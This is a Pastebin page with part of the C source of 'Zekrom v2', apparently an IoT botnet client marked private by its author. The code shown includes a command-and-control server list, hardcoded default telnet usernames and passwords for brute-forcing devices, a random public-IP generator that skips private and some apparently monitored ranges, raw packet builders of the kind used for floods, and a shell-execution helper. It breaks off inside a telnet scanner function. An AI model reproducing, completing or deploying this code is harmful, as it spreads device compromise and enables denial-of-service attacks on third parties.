API tools faq
paste
ZucoCheezy

ZekromV2-Client

ZucoCheezy
Nov 26th, 2018
122
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 73.96 KB | None | 0 0
raw download clone embed print report
  1. /*
  2. Skype: bl4ck.j3sus
  3. XMPP: [email protected]
  4. Made Date: 6-15-16
  5. shoutout to homie void for some of the shit
  6. this isnt meant to be released but if it does eventually
  7. i got to give some credz to him <3
  8. */
  9. /*
  10.                 *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  11.  
  12. # ___     __________  ____ _______      _____ _______________.___.  ___
  13. # / _ \_/\ \______   \/_   |\      \    /  _  \\______   \__  |   | / _ \_/\
  14. # \/ \___/  |    |  _/ |   |/   |   \  /  /_\  \|       _//   |   | \/ \___/
  15. #           |    |   \ |   /    |    \/    |    \    |   \\____   |
  16. #           |______  / |___\____|__  /\____|__  /____|_  // ______|
  17. #                  \/              \/         \/       \/ \/
  18.  
  19.                         *** ZEKROM v2 CLIENT.C ***
  20. */
  21. //     ___      __ _
  22. //    /   \___ / _(_)_ __   ___  ___
  23. //   / /\ / _ \ |_| | '_ \ / _ \/ __|
  24. //  / /_//  __/  _| | | | |  __/\__ \
  25. // /___,' \___|_| |_|_| |_|\___||___/
  26.  
  27. #define PR_SET_NAME 15
  28. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  29. #define PAD_RIGHT 1
  30. #define PAD_ZERO 2
  31. #define PRINT_BUF_LEN 12
  32. #define CMD_IAC   255
  33. #define CMD_WILL  251
  34. #define CMD_WONT  252
  35. #define CMD_DO    253
  36. #define CMD_DONT  254
  37. #define OPT_SGA   3
  38. #define STD2_STRING "dts"
  39. #define STD2_SIZE 50
  40.  
  41. //   _____            _           _
  42. //   \_   \_ __   ___| |_   _  __| | ___  ___
  43. //    / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
  44. // /\/ /_ | | | | (__| | |_| | (_| |  __/\__ \
  45. // \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
  46.  
  47. #include <stdlib.h>
  48. #include <stdarg.h>
  49. #include <stdio.h>
  50. #include <sys/socket.h>
  51. #include <sys/types.h>
  52. #include <netinet/in.h>
  53. #include <arpa/inet.h>
  54. #include <netdb.h>
  55. #include <signal.h>
  56. #include <strings.h>
  57. #include <string.h>
  58. #include <sys/utsname.h>
  59. #include <unistd.h>
  60. #include <fcntl.h>
  61. #include <errno.h>
  62. #include <netinet/ip.h>
  63. #include <netinet/udp.h>
  64. #include <netinet/tcp.h>
  65. #include <sys/wait.h>
  66. #include <sys/ioctl.h>
  67. #include <net/if.h>
  68. #include <pthread.h>
  69.  
  70. //    ___             __ _
  71. //   / __\___  _ __  / _(_) __ _
  72. //  / /  / _ \| '_ \| |_| |/ _` |
  73. // / /__| (_) | | | |  _| | (_| |
  74. // \____/\___/|_| |_|_| |_|\__, |
  75. //                         |___/
  76.  
  77. unsigned char *commServer[] =
  78. {
  79.         "0.0.0.0:666"
  80. };
  81.  
  82. //    ___                 _
  83. //   / __\   _ _ __   ___| |_(_) ___  _ __  ___
  84. //  / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
  85. // / /  | |_| | | | | (__| |_| | (_) | | | \__ \
  86. // \/    \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
  87.  
  88. int initConnection();
  89. int getBogos(unsigned char *bogomips);
  90. int getCores();
  91. int getCountry(unsigned char *buf, int bufsize);
  92. void makeRandomStr(unsigned char *buf, int length);
  93. int sockprintf(int sock, char *formatStr, ...);
  94. char *inet_ntoa(struct in_addr in);
  95.  
  96. //    ___ _       _           _
  97. //   / _ \ | ___ | |__   __ _| |___
  98. //  / /_\/ |/ _ \| '_ \ / _` | / __|
  99. // / /_\\| | (_) | |_) | (_| | \__ \
  100. // \____/|_|\___/|_.__/ \__,_|_|___/
  101.  
  102. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  103. uint32_t *pids;
  104. uint32_t scanPid;
  105. uint64_t numpids = 0;
  106. struct in_addr ourIP;
  107. unsigned char macAddress[6] = {0};
  108. char *usernames[] = {"root\0", "support\0", "guest\0", "ubnt\0"};
  109. char *passwords[] = {"root\0", "\0", "vizxv\0", "admin\0", "123\0", "1234\0", "12345\0", "123456\0", "support\0", "ubnt\0", "7ujMko0vizxv\0", "dreambox\0", "guest\0"};
  110.  
  111. //    ___  ___  __      __  ___
  112. //   / __\/ _ \/__\  /\ \ \/ _ \
  113. //  / _\ / /_)/ \// /  \/ / /_\/
  114. // / /  / ___/ _  \/ /\  / /_\\
  115. // \/   \/   \/ \_/\_\ \/\____/
  116.  
  117. #define PHI 0x9e3779b9
  118. static uint32_t Q[4096], c = 362436;
  119.  
  120. void init_rand(uint32_t x)
  121. {
  122.         int i;
  123.  
  124.         Q[0] = x;
  125.         Q[1] = x + PHI;
  126.         Q[2] = x + PHI + PHI;
  127.  
  128.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  129. }
  130.  
  131. uint32_t rand_cmwc(void)
  132. {
  133.         uint64_t t, a = 18782LL;
  134.         static uint32_t i = 4095;
  135.         uint32_t x, r = 0xfffffffe;
  136.         i = (i + 1) & 4095;
  137.         t = a * Q[i] + c;
  138.         c = (uint32_t)(t >> 32);
  139.         x = t + c;
  140.         if (x < c) {
  141.                 x++;
  142.                 c++;
  143.         }
  144.         return (Q[i] = r - x);
  145. }
  146.  
  147. //        _   _ _
  148. //  /\ /\| |_(_) |___
  149. // / / \ \ __| | / __|
  150. // \ \_/ / |_| | \__ \
  151. //  \___/ \__|_|_|___/
  152.  
  153. void trim(char *str)
  154. {
  155.         int i;
  156.         int begin = 0;
  157.         int end = strlen(str) - 1;
  158.  
  159.         while (isspace(str[begin])) begin++;
  160.  
  161.         while ((end >= begin) && isspace(str[end])) end--;
  162.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  163.  
  164.         str[i - begin] = '\0';
  165. }
  166.  
  167. static void printchar(unsigned char **str, int c)
  168. {
  169.         if (str) {
  170.                 **str = c;
  171.                 ++(*str);
  172.         }
  173.         else (void)write(1, &c, 1);
  174. }
  175.  
  176. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  177. {
  178.         register int pc = 0, padchar = ' ';
  179.  
  180.         if (width > 0) {
  181.                 register int len = 0;
  182.                 register const unsigned char *ptr;
  183.                 for (ptr = string; *ptr; ++ptr) ++len;
  184.                 if (len >= width) width = 0;
  185.                 else width -= len;
  186.                 if (pad & PAD_ZERO) padchar = '0';
  187.         }
  188.         if (!(pad & PAD_RIGHT)) {
  189.                 for ( ; width > 0; --width) {
  190.                         printchar (out, padchar);
  191.                         ++pc;
  192.                 }
  193.         }
  194.         for ( ; *string ; ++string) {
  195.                 printchar (out, *string);
  196.                 ++pc;
  197.         }
  198.         for ( ; width > 0; --width) {
  199.                 printchar (out, padchar);
  200.                 ++pc;
  201.         }
  202.  
  203.         return pc;
  204. }
  205.  
  206. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  207. {
  208.         unsigned char print_buf[PRINT_BUF_LEN];
  209.         register unsigned char *s;
  210.         register int t, neg = 0, pc = 0;
  211.         register unsigned int u = i;
  212.  
  213.         if (i == 0) {
  214.                 print_buf[0] = '0';
  215.                 print_buf[1] = '\0';
  216.                 return prints (out, print_buf, width, pad);
  217.         }
  218.  
  219.         if (sg && b == 10 && i < 0) {
  220.                 neg = 1;
  221.                 u = -i;
  222.         }
  223.  
  224.         s = print_buf + PRINT_BUF_LEN-1;
  225.         *s = '\0';
  226.  
  227.         while (u) {
  228.                 t = u % b;
  229.                 if( t >= 10 )
  230.                 t += letbase - '0' - 10;
  231.                 *--s = t + '0';
  232.                 u /= b;
  233.         }
  234.  
  235.         if (neg) {
  236.                 if( width && (pad & PAD_ZERO) ) {
  237.                         printchar (out, '-');
  238.                         ++pc;
  239.                         --width;
  240.                 }
  241.                 else {
  242.                         *--s = '-';
  243.                 }
  244.         }
  245.  
  246.         return pc + prints (out, s, width, pad);
  247. }
  248.  
  249. static int print(unsigned char **out, const unsigned char *format, va_list args )
  250. {
  251.         register int width, pad;
  252.         register int pc = 0;
  253.         unsigned char scr[2];
  254.  
  255.         for (; *format != 0; ++format) {
  256.                 if (*format == '%') {
  257.                         ++format;
  258.                         width = pad = 0;
  259.                         if (*format == '\0') break;
  260.                         if (*format == '%') goto out;
  261.                         if (*format == '-') {
  262.                                 ++format;
  263.                                 pad = PAD_RIGHT;
  264.                         }
  265.                         while (*format == '0') {
  266.                                 ++format;
  267.                                 pad |= PAD_ZERO;
  268.                         }
  269.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  270.                                 width *= 10;
  271.                                 width += *format - '0';
  272.                         }
  273.                         if( *format == 's' ) {
  274.                                 register char *s = (char *)va_arg( args, int );
  275.                                 pc += prints (out, s?s:"(null)", width, pad);
  276.                                 continue;
  277.                         }
  278.                         if( *format == 'd' ) {
  279.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  280.                                 continue;
  281.                         }
  282.                         if( *format == 'x' ) {
  283.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  284.                                 continue;
  285.                         }
  286.                         if( *format == 'X' ) {
  287.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  288.                                 continue;
  289.                         }
  290.                         if( *format == 'u' ) {
  291.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  292.                                 continue;
  293.                         }
  294.                         if( *format == 'c' ) {
  295.                                 scr[0] = (unsigned char)va_arg( args, int );
  296.                                 scr[1] = '\0';
  297.                                 pc += prints (out, scr, width, pad);
  298.                                 continue;
  299.                         }
  300.                 }
  301.                 else {
  302. out:
  303.                         printchar (out, *format);
  304.                         ++pc;
  305.                 }
  306.         }
  307.         if (out) **out = '\0';
  308.         va_end( args );
  309.         return pc;
  310. }
  311.  
  312. int zprintf(const unsigned char *format, ...)
  313. {
  314.         va_list args;
  315.         va_start( args, format );
  316.         return print( 0, format, args );
  317. }
  318.  
  319. int szprintf(unsigned char *out, const unsigned char *format, ...)
  320. {
  321.         va_list args;
  322.         va_start( args, format );
  323.         return print( &out, format, args );
  324. }
  325.  
  326.  
  327. int sockprintf(int sock, char *formatStr, ...)
  328. {
  329.         unsigned char *textBuffer = malloc(2048);
  330.         memset(textBuffer, 0, 2048);
  331.         char *orig = textBuffer;
  332.         va_list args;
  333.         va_start(args, formatStr);
  334.         print(&textBuffer, formatStr, args);
  335.         va_end(args);
  336.         orig[strlen(orig)] = '\n';
  337.         zprintf("buf: %s\n", orig);
  338.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  339.         free(orig);
  340.         return q;
  341. }
  342.  
  343. static int *fdopen_pids;
  344.  
  345. int fdpopen(unsigned char *program, register unsigned char *type)
  346. {
  347.         register int iop;
  348.         int pdes[2], fds, pid;
  349.  
  350.         if (*type != 'r' && *type != 'w' || type[1]) return -1;
  351.  
  352.         if (pipe(pdes) < 0) return -1;
  353.         if (fdopen_pids == NULL) {
  354.                 if ((fds = getdtablesize()) <= 0) return -1;
  355.                 if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  356.                 memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  357.         }
  358.  
  359.         switch (pid = vfork())
  360.         {
  361.         case -1:
  362.                 close(pdes[0]);
  363.                 close(pdes[1]);
  364.                 return -1;
  365.         case 0:
  366.                 if (*type == 'r') {
  367.                         if (pdes[1] != 1) {
  368.                                 dup2(pdes[1], 1);
  369.                                 close(pdes[1]);
  370.                         }
  371.                         close(pdes[0]);
  372.                 } else {
  373.                         if (pdes[0] != 0) {
  374.                                 (void) dup2(pdes[0], 0);
  375.                                 (void) close(pdes[0]);
  376.                         }
  377.                         (void) close(pdes[1]);
  378.                 }
  379.                 execl("/bin/sh", "sh", "-c", program, NULL);
  380.                 _exit(127);
  381.         }
  382.         if (*type == 'r') {
  383.                 iop = pdes[0];
  384.                 (void) close(pdes[1]);
  385.         } else {
  386.                 iop = pdes[1];
  387.                 (void) close(pdes[0]);
  388.         }
  389.         fdopen_pids[iop] = pid;
  390.         return (iop);
  391. }
  392.  
  393. int fdpclose(int iop)
  394. {
  395.         register int fdes;
  396.         sigset_t omask, nmask;
  397.         int pstat;
  398.         register int pid;
  399.  
  400.         if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  401.         (void) close(iop);
  402.         sigemptyset(&nmask);
  403.         sigaddset(&nmask, SIGINT);
  404.         sigaddset(&nmask, SIGQUIT);
  405.         sigaddset(&nmask, SIGHUP);
  406.         (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  407.         do {
  408.                 pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  409.         } while (pid == -1 && errno == EINTR);
  410.         (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  411.         fdopen_pids[fdes] = 0;
  412.         return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  413. }
  414.  
  415. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  416. {
  417.         int got = 1, total = 0;
  418.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  419.         return got == 0 ? NULL : buffer;
  420. }
  421.  
  422. static const long hextable[] = {
  423.         [0 ... 255] = -1,
  424.         ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  425.         ['A'] = 10, 11, 12, 13, 14, 15,
  426.         ['a'] = 10, 11, 12, 13, 14, 15
  427. };
  428.  
  429. long parseHex(unsigned char *hex)
  430. {
  431.         long ret = 0;
  432.         while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  433.         return ret;
  434. }
  435.  
  436. int wildString(const unsigned char* pattern, const unsigned char* string) {
  437.         switch(*pattern)
  438.         {
  439.         case '\0': return *string;
  440.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  441.         case '?': return !(*string && !wildString(pattern+1, string+1));
  442.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  443.         }
  444. }
  445.  
  446. int getHost(unsigned char *toGet, struct in_addr *i)
  447. {
  448.         struct hostent *h;
  449.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  450.         return 0;
  451. }
  452.  
  453. void uppercase(unsigned char *str)
  454. {
  455.         while(*str) { *str = toupper(*str); str++; }
  456. }
  457.  
  458. int getBogos(unsigned char *bogomips)
  459. {
  460.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  461.         char linebuf[4096];
  462.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  463.         {
  464.                 uppercase(linebuf);
  465.                 if(strstr(linebuf, "BOGOMIPS") == linebuf)
  466.                 {
  467.                         unsigned char *pos = linebuf + 8;
  468.                         while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  469.                         while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  470.                         if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  471.                         strcpy(bogomips, pos);
  472.                         close(cmdline);
  473.                         return 0;
  474.                 }
  475.                 memset(linebuf, 0, 4096);
  476.         }
  477.         close(cmdline);
  478.         return 1;
  479. }
  480.  
  481. int getCores()
  482. {
  483.         int totalcores = 0;
  484.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  485.         char linebuf[4096];
  486.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  487.         {
  488.                 uppercase(linebuf);
  489.                 if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  490.                 memset(linebuf, 0, 4096);
  491.         }
  492.         close(cmdline);
  493.         return totalcores;
  494.  
  495. }
  496.  
  497. void makeRandomStr(unsigned char *buf, int length)
  498. {
  499.         int i = 0;
  500.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  501. }
  502.  
  503. int recvLine(int socket, unsigned char *buf, int bufsize)
  504. {
  505.         memset(buf, 0, bufsize);
  506.  
  507.         fd_set myset;
  508.         struct timeval tv;
  509.         tv.tv_sec = 30;
  510.         tv.tv_usec = 0;
  511.         FD_ZERO(&myset);
  512.         FD_SET(socket, &myset);
  513.         int selectRtn, retryCount;
  514.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  515.                 while(retryCount < 10)
  516.                 {
  517.                         sockprintf(mainCommSock, "PING");
  518.  
  519.                         tv.tv_sec = 30;
  520.                         tv.tv_usec = 0;
  521.                         FD_ZERO(&myset);
  522.                         FD_SET(socket, &myset);
  523.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  524.                                 retryCount++;
  525.                                 continue;
  526.                         }
  527.  
  528.                         break;
  529.                 }
  530.         }
  531.  
  532.         unsigned char tmpchr;
  533.         unsigned char *cp;
  534.         int count = 0;
  535.  
  536.         cp = buf;
  537.         while(bufsize-- > 1)
  538.         {
  539.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  540.                         *cp = 0x00;
  541.                         return -1;
  542.                 }
  543.                 *cp++ = tmpchr;
  544.                 if(tmpchr == '\n') break;
  545.                 count++;
  546.         }
  547.         *cp = 0x00;
  548.  
  549. //      zprintf("recv: %s\n", cp);
  550.  
  551.         return count;
  552. }
  553.  
  554. int connectTimeout(int fd, char *host, int port, int timeout)
  555. {
  556.         struct sockaddr_in dest_addr;
  557.         fd_set myset;
  558.         struct timeval tv;
  559.         socklen_t lon;
  560.  
  561.         int valopt;
  562.         long arg = fcntl(fd, F_GETFL, NULL);
  563.         arg |= O_NONBLOCK;
  564.         fcntl(fd, F_SETFL, arg);
  565.  
  566.         dest_addr.sin_family = AF_INET;
  567.         dest_addr.sin_port = htons(port);
  568.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  569.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  570.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  571.  
  572.         if (res < 0) {
  573.                 if (errno == EINPROGRESS) {
  574.                         tv.tv_sec = timeout;
  575.                         tv.tv_usec = 0;
  576.                         FD_ZERO(&myset);
  577.                         FD_SET(fd, &myset);
  578.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  579.                                 lon = sizeof(int);
  580.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  581.                                 if (valopt) return 0;
  582.                         }
  583.                         else return 0;
  584.                 }
  585.                 else return 0;
  586.         }
  587.  
  588.         arg = fcntl(fd, F_GETFL, NULL);
  589.         arg &= (~O_NONBLOCK);
  590.         fcntl(fd, F_SETFL, arg);
  591.  
  592.         return 1;
  593. }
  594.  
  595. int listFork()
  596. {
  597.         uint32_t parent, *newpids, i;
  598.         parent = fork();
  599.         if (parent <= 0) return parent;
  600.         numpids++;
  601.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  602.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  603.         newpids[numpids - 1] = parent;
  604.         free(pids);
  605.         pids = newpids;
  606.         return parent;
  607. }
  608.  
  609. int negotiate(int sock, unsigned char *buf, int len)
  610. {
  611.         unsigned char c;
  612.  
  613.         switch (buf[1]) {
  614.         case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  615.         case CMD_WILL:
  616.         case CMD_WONT:
  617.         case CMD_DO:
  618.         case CMD_DONT:
  619.                 c = CMD_IAC;
  620.                 send(sock, &c, 1, MSG_NOSIGNAL);
  621.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  622.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  623.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  624.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  625.                 send(sock, &c, 1, MSG_NOSIGNAL);
  626.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  627.                 break;
  628.  
  629.         default:
  630.                 break;
  631.         }
  632.  
  633.         return 0;
  634. }
  635.  
  636. int matchPrompt(char *bufStr)
  637. {
  638.         char *prompts = ":>%$#\0";
  639.  
  640.         int bufLen = strlen(bufStr);
  641.         int i, q = 0;
  642.         for(i = 0; i < strlen(prompts); i++)
  643.         {
  644.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  645.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  646.         }
  647.  
  648.         return 0;
  649. }
  650.  
  651. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  652. {
  653.         int bufferUsed = initialIndex, got = 0, found = 0;
  654.         fd_set myset;
  655.         struct timeval tv;
  656.         tv.tv_sec = timeout;
  657.         tv.tv_usec = timeoutusec;
  658.         unsigned char *initialRead = NULL;
  659.  
  660.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  661.         {
  662.                 FD_ZERO(&myset);
  663.                 FD_SET(fd, &myset);
  664.                 if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  665.                 initialRead = buffer + bufferUsed;
  666.                 got = recv(fd, initialRead, 1, 0);
  667.                 if(got == -1 || got == 0) return 0;
  668.                 bufferUsed += got;
  669.                 if(*initialRead == 0xFF)
  670.                 {
  671.                         got = recv(fd, initialRead + 1, 2, 0);
  672.                         if(got == -1 || got == 0) return 0;
  673.                         bufferUsed += got;
  674.                         if(!negotiate(fd, initialRead, 3)) return 0;
  675.                 } else {
  676.                         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  677.                 }
  678.         }
  679.  
  680.         if(found) return 1;
  681.         return 0;
  682. }
  683.  
  684.  
  685. //   _____  ___         _   _ _
  686. //   \_   \/ _ \  /\ /\| |_(_) |___
  687. //    / /\/ /_)/ / / \ \ __| | / __|
  688. // /\/ /_/ ___/  \ \_/ / |_| | \__ \
  689. // \____/\/       \___/ \__|_|_|___/
  690.  
  691. static uint8_t ipState[5];
  692. in_addr_t getRandomPublicIP()
  693. {
  694.         uint8_t ipState[4] = {0};
  695.         ipState[0] = rand() % 255;
  696.         ipState[1] = rand() % 255;
  697.         ipState[2] = rand() % 255;
  698.         ipState[3] = rand() % 255;
  699.  
  700.         while(
  701.                 (ipState[0] == 0) ||
  702.                 (ipState[0] == 10) ||
  703.                 (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
  704.                 (ipState[0] == 127) ||
  705.                 (ipState[0] == 169 && ipState[1] == 254) ||
  706.                 (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
  707.                 (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
  708.                 (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
  709.                 (ipState[0] == 192 && ipState[1] == 168) ||
  710.                 (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
  711.                 (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
  712.                 (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
  713.                 (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 52) ||
  714.                 (ipState[0] == 188 && ipState[1] == 209 && ipState[2] == 49) ||
  715.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 190) ||
  716.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 189) ||
  717.                 (ipState[0] == 185 && ipState[1] == 62 && ipState[2] == 188) ||
  718.                 (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 137) ||
  719.                 (ipState[0] == 185 && ipState[1] == 61 && ipState[2] == 136) ||
  720.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 147) ||
  721.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 146) ||
  722.                 (ipState[0] == 185 && ipState[1] == 11 && ipState[2] == 145) ||
  723.                 (ipState[0] == 63 && ipState[1] == 141 && ipState[2] == 241) ||
  724.                 (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 192) ||
  725.                 (ipState[0] == 69 && ipState[1] == 30 && ipState[2] == 244) ||
  726.                 (ipState[0] == 69 && ipState[1] == 197 && ipState[2] == 128) ||
  727.                 (ipState[0] == 162 && ipState[1] == 251 && ipState[2] == 120) ||
  728.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 128) ||
  729.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 180) ||
  730.                 (ipState[0] == 173 && ipState[1] == 208 && ipState[2] == 250) ||
  731.                 (ipState[0] == 192 && ipState[1] == 187 && ipState[2] == 113) ||
  732.                 (ipState[0] == 198 && ipState[1] == 204 && ipState[2] == 241) ||
  733.                 (ipState[0] == 204 && ipState[1] == 10 && ipState[2] == 160) ||
  734.                 (ipState[0] == 204 && ipState[1] == 12 && ipState[2] == 192) ||
  735.                 (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 64) ||
  736.                 (ipState[0] == 208 && ipState[1] == 110 && ipState[2] == 72) ||
  737.                 (ipState[0] == 208 && ipState[1] == 67) ||
  738.                 (ipState[0] == 94 && ipState[1] == 102 && ipState[2] == 48) ||
  739.                 (ipState[0] == 93 && ipState[1] == 174 && ipState[2] == 88) ||
  740.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 174) ||
  741.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 172) ||
  742.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 170) ||
  743.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 169) ||
  744.                 (ipState[0] == 89 && ipState[1] == 248 && ipState[2] == 160) ||
  745.                 (ipState[0] >= 224)
  746.             )
  747.         {
  748.                 ipState[0] = rand() % 255;
  749.                 ipState[1] = rand() % 255;
  750.                 ipState[2] = rand() % 255;
  751.                 ipState[3] = rand() % 255;
  752.         }
  753.  
  754.         char ip[16] = {0};
  755.         szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  756.         return inet_addr(ip);
  757. }
  758.  
  759. in_addr_t getRandomIP(in_addr_t netmask)
  760. {
  761.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  762.         return tmp ^ ( rand_cmwc() & ~netmask);
  763. }
  764.  
  765. unsigned short csum (unsigned short *buf, int count)
  766. {
  767.         register uint64_t sum = 0;
  768.         while( count > 1 ) { sum += *buf++; count -= 2; }
  769.         if(count > 0) { sum += *(unsigned char *)buf; }
  770.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  771.         return (uint16_t)(~sum);
  772. }
  773.  
  774. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  775. {
  776.  
  777.         struct tcp_pseudo
  778.         {
  779.                 unsigned long src_addr;
  780.                 unsigned long dst_addr;
  781.                 unsigned char zero;
  782.                 unsigned char proto;
  783.                 unsigned short length;
  784.         } pseudohead;
  785.         unsigned short total_len = iph->tot_len;
  786.         pseudohead.src_addr=iph->saddr;
  787.         pseudohead.dst_addr=iph->daddr;
  788.         pseudohead.zero=0;
  789.         pseudohead.proto=IPPROTO_TCP;
  790.         pseudohead.length=htons(sizeof(struct tcphdr));
  791.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  792.         unsigned short *tcp = malloc(totaltcp_len);
  793.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  794.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  795.         unsigned short output = csum(tcp,totaltcp_len);
  796.         free(tcp);
  797.         return output;
  798. }
  799.  
  800. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  801. {
  802.         iph->ihl = 5;
  803.         iph->version = 4;
  804.         iph->tos = 0;
  805.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  806.         iph->id = rand_cmwc();
  807.         iph->frag_off = 0;
  808.         iph->ttl = MAXTTL;
  809.         iph->protocol = protocol;
  810.         iph->check = 0;
  811.         iph->saddr = source;
  812.         iph->daddr = dest;
  813. }
  814.  
  815. int sclose(int fd)
  816. {
  817.         if(3 > fd) return 1;
  818.         close(fd);
  819.         return 0;
  820. }
  821.  
  822. /*
  823. ╔╦╗┌─┐┬  ┌┐┌┌─┐┌┬┐  ╔═╗┌─┐┌─┐┌┐┌┌┐┌┌─┐┬─┐  ┬  ┌─┐┬  
  824.  ║ ├┤ │  │││├┤  │   ╚═╗│  ├─┤││││││├┤ ├┬┘  │  ├┤ │  
  825.  ╩ └─┘┴─┘┘└┘└─┘ ┴   ╚═╝└─┘┴ ┴┘└┘┘└┘└─┘┴└─  ┴─┘└─┘┴─┘
  826. */
  827.  
  828. void TelnetScan(char *ip)
  829. {
  830.         int max = (getdtablesize() / 4) * 3, i, res;
  831.         fd_set myset;
  832.         struct timeval tv;
  833.         socklen_t lon;
  834.         int valopt;
  835.  
  836.         max = max > 512 ? 512 : max;
  837.  
  838.         struct sockaddr_in dest_addr;
  839.         dest_addr.sin_family = AF_INET;
  840.         dest_addr.sin_port = htons(23);
  841.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  842.  
  843.         struct telstate_t
  844.         {
  845.                 int fd;
  846.                 uint32_t ip;
  847.                 uint8_t state;
